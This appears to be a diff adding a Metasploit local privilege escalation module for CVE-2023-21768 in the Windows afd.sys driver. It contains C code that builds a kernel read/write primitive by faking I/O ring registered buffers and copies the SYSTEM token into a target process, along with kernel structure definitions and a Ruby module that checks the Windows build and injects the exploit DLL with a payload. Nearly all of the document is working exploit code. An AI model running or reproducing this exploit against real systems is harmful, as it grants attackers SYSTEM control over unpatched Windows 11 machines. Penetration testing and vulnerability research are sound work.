hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if ((hInPipeClient == INVALID_HANDLE_VALUE) || (hOutPipeClient == INVALID_HANDLE_VALUE)) {
dprintf("Error while opening named pipes (0x%X)", GetLastError());
return E_FAIL;
}
return S_OK;
}
HRESULT IoRingRead(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) {
HRESULT ret;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (!pMcBufferEntry) {
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
pMcBufferEntry->Address = (PVOID)pReadAddr;
pMcBufferEntry->Length = ulReadLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
if (BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
dprintf("Call to BuildIoRingWriteFile() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (cqe.ResultCode != S_OK) {
ret = cqe.ResultCode;
dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
goto done;
}
if (!ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) {
dprintf("Call to ReadFile() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
ret = S_OK;
done:
if (pMcBufferEntry) {
VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
}
return ret;
}
HRESULT IoRingWrite(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) {
HRESULT ret;
PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;
IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);
IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);
IORING_CQE cqe = { 0 };
if (!WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL))
{
dprintf("Call to WriteFile() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);
if (!pMcBufferEntry)
{
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
pMcBufferEntry->Address = (PVOID)pWriteAddr;
pMcBufferEntry->Length = ulWriteLen;
pMcBufferEntry->Type = 0xc02;
pMcBufferEntry->Size = 0x80;
pMcBufferEntry->AccessMode = 1;
pMcBufferEntry->ReferenceCount = 1;
pRegisterBuffers[0] = (ULONG64)pMcBufferEntry;
if (BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, (UINT_PTR)NULL, IOSQE_FLAGS_NONE) != S_OK) {
dprintf("Call to BuildIoRingReadFile() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (SubmitIoRing(hIoRing, 0, 0, NULL) != S_OK) {
dprintf("Call to SubmitIoRing() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (PopIoRingCompletion(hIoRing, &cqe) != S_OK) {
dprintf("Call to PopIoRingCompletion() failed (0x%X)", GetLastError());
ret = E_FAIL;
goto done;
}
if (cqe.ResultCode != S_OK) {
ret = cqe.ResultCode;
dprintf("the I/O ring operation failed (ResultCode=0x%X)", ret);
goto done;
}
ret = S_OK;
done:
if (pMcBufferEntry) {
VirtualFree(pMcBufferEntry, 0, MEM_RELEASE);
}
return ret;
}
HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt) {
HANDLE hProc = NULL;
ULONG64 ullSystemEPROCaddr = 0;
ULONG64 ullTargEPROCaddr = 0;
PVOID pFakeRegBuffers = NULL;
_HIORING* phIoRing = NULL;
ULONG64 ullSysToken = 0;
char null[0x10] = { 0 };
hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);
if (!hProc) {
dprintf("Call to OpenProcess() failed (0x%X)", GetLastError());
return E_FAIL;
}
if (GetObjPtr((PVOID*)&ullSystemEPROCaddr, 4, (HANDLE)4) != S_OK) {
dprintf("Unable to get System EPROC address");
return E_FAIL;
}
dprintf("System EPROC address: %llx", ullSystemEPROCaddr);
if (GetObjPtr((PVOID*)&ullTargEPROCaddr, GetCurrentProcessId(), hProc) != S_OK) {
dprintf("Unable to get Current EPROC address");
return E_FAIL;
}
dprintf("Current process EPROC address: %llx", ullTargEPROCaddr);
pFakeRegBuffers = VirtualAlloc((LPVOID)ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr) {
dprintf("Call to VirtualAlloc() failed (0x%X)", GetLastError());
return E_FAIL;
}
memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);
phIoRing = *(_HIORING**)&hIoRing;
phIoRing->RegBufferArray = pFakeRegBuffers;
phIoRing->BufferArraySize = ulFakeRegBufferCnt;
if (IoRingRead(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
dprintf("Unable to read System token through a I/O ring read operation");
return E_FAIL;
}
dprintf("System token is at: %llx", ullSysToken);
if (IoRingWrite(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)) != S_OK) {
dprintf("Unable to write System token through a I/O ring write operation");
return E_FAIL;
}
IoRingWrite(pFakeRegBuffers, (ULONG64)&pIoRing->RegBuffersCount, &null, 0x10);
return S_OK;
}

View File

@ -0,0 +1,81 @@
#pragma once
#include <windows.h>
#include <ioringapi.h>
#include "exploit.h"
typedef struct _NT_IORING_CREATE_FLAGS
{
enum _NT_IORING_CREATE_REQUIRED_FLAGS Required;
enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory;
} NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS;
typedef struct _NT_IORING_INFO
{
enum IORING_VERSION IoRingVersion;
struct _NT_IORING_CREATE_FLAGS Flags;
unsigned int SubmissionQueueSize;
unsigned int SubmissionQueueRingMask;
unsigned int CompletionQueueSize;
unsigned int CompletionQueueRingMask;
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
} NT_IORING_INFO, * PNT_IORING_INFO;
typedef struct _IOP_MC_BUFFER_ENTRY
{
USHORT Type;
USHORT Reserved;
ULONG Size;
ULONG ReferenceCount;
ULONG Flags;
LIST_ENTRY GlobalDataLink;
PVOID Address;
ULONG Length;
CHAR AccessMode;
ULONG MdlRef;
struct _MDL* Mdl;
KEVENT MdlRundownEvent;
PULONG64 PfnArray;
BYTE PageNodes[0x20];
} IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY;
typedef struct _IORING_OBJECT
{
short Type;
short Size;
struct _NT_IORING_INFO UserInfo;
void* Section;
struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue;
struct _MDL* CompletionQueueMdl;
struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue;
unsigned __int64 ViewSize;
long InSubmit;
unsigned __int64 CompletionLock;
unsigned __int64 SubmitCount;
unsigned __int64 CompletionCount;
unsigned __int64 CompletionWaitUntil;
struct _KEVENT CompletionEvent;
unsigned char SignalCompletionEvent;
struct _KEVENT* CompletionUserEvent;
unsigned int RegBuffersCount;
struct _IOP_MC_BUFFER_ENTRY** RegBuffers;
unsigned int RegFilesCount;
void** RegFiles;
} IORING_OBJECT, * PIORING_OBJECT;
typedef struct _HIORING
{
HANDLE handle;
NT_IORING_INFO Info;
ULONG IoRingKernelAcceptedVersion;
PVOID RegBufferArray;
ULONG BufferArraySize;
PVOID Unknown;
ULONG FileHandlesCount;
ULONG SubQueueHead;
ULONG SubQueueTail;
}_HIORING;
HRESULT IoRingSetup(PIORING_OBJECT* ppIoRingAddr);
HRESULT IoRingLpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG dwFakeRegBufferCnt);

View File

@ -154,3 +154,81 @@ typedef VOID(__stdcall* fRtlGetNtVersionNumbers)(
#define TYPE_WINDOW 1
typedef PVOID(__stdcall* fHMValidateHandle)(HANDLE hHandle, DWORD dwType);
//
// Taken from ntdef.h
//
// Unicode strings are counted 16-bit character strings. If they are
// NULL terminated, Length does not include trailing NULL.
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength / 2), length_is((Length) / 2)] USHORT* Buffer;
#else // MIDL_PASS
_Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;
#endif // MIDL_PASS
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR
PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
//
// Taken from wdm.h
//
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef NTSTATUS(__stdcall* fNtCreateFile)(
PHANDLE FileHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PIO_STATUS_BLOCK IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength
);
typedef NTSTATUS(__stdcall* fNtDeviceIoControlFile)(
HANDLE FileHandle,
HANDLE Event,
PVOID ApcRoutine, // PIO_APC_ROUTINE is just a pointer to a function
PVOID ApcContext,
PIO_STATUS_BLOCK IoStatusBlock,
ULONG IoControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength
);
typedef NTSTATUS(__stdcall* fNtCreateIoCompletion)(
PHANDLE IoCompletionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
ULONG NumberOfConcurrentThreads
);
typedef NTSTATUS(__stdcall* fNtSetIoCompletion)(
HANDLE IoCompletionHandle,
ULONG CompletionKey,
PIO_STATUS_BLOCK IoStatusBlock,
NTSTATUS CompletionStatus,
ULONG NumberOfBytesTransferred
);

View File

@ -0,0 +1,102 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::FileInfo
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Ancillary Function Driver (AFD) for WinSock Elevation of Privilege',
'Description' => %q{
A vulnerability exists in the Windows Ancillary Function Driver for Winsock
(`afd.sys`) can be leveraged by an attacker to escalate privileges to those of
NT AUTHORITY\SYSTEM. Due to a flaw in `AfdNotifyRemoveIoCompletion`, it is
possible to create an arbitrary kernel Write-Where primitive, which can be used
to manipulate internal I/O ring structures and achieve local privilege
escalation.
This exploit only supports Windows 11 22H2 up to build 22621.963 (patched in
January 2023 updates).
},
'License' => MSF_LICENSE,
'Author' => [
'chompie', # Github PoC
'b33f', # Github PoC
'Yarden Shafir', # I/O Ring R/W primitive PoC
'Christophe De La Fuente' # Metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Privileged' => true,
'Targets' => [
[ 'Windows 11 22H2 x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2023-21768' ],
[ 'URL', 'https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768' ],
[ 'URL', 'https://github.com/yardenshafir/IoRingReadWritePrimitive' ]
],
'DisclosureDate' => '2023-01-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => []
}
}
)
)
end
def check
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Safe('Only Windows systems are affected')
end
major, minor, build, revision, _branch = file_version('C:\\Windows\\System32\\ntoskrnl.exe')
vprint_status("Windows Build Number = #{build}.#{revision}")
unless major == 6 && minor == 2 && build == 22621
return CheckCode::Safe('The exploit only supports Windows 11 22H2')
end
if revision > 963
return CheckCode::Safe("This Windows host seems to be patched (build 22621.#{revision})")
end
CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21768', 'CVE-2023-21768.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end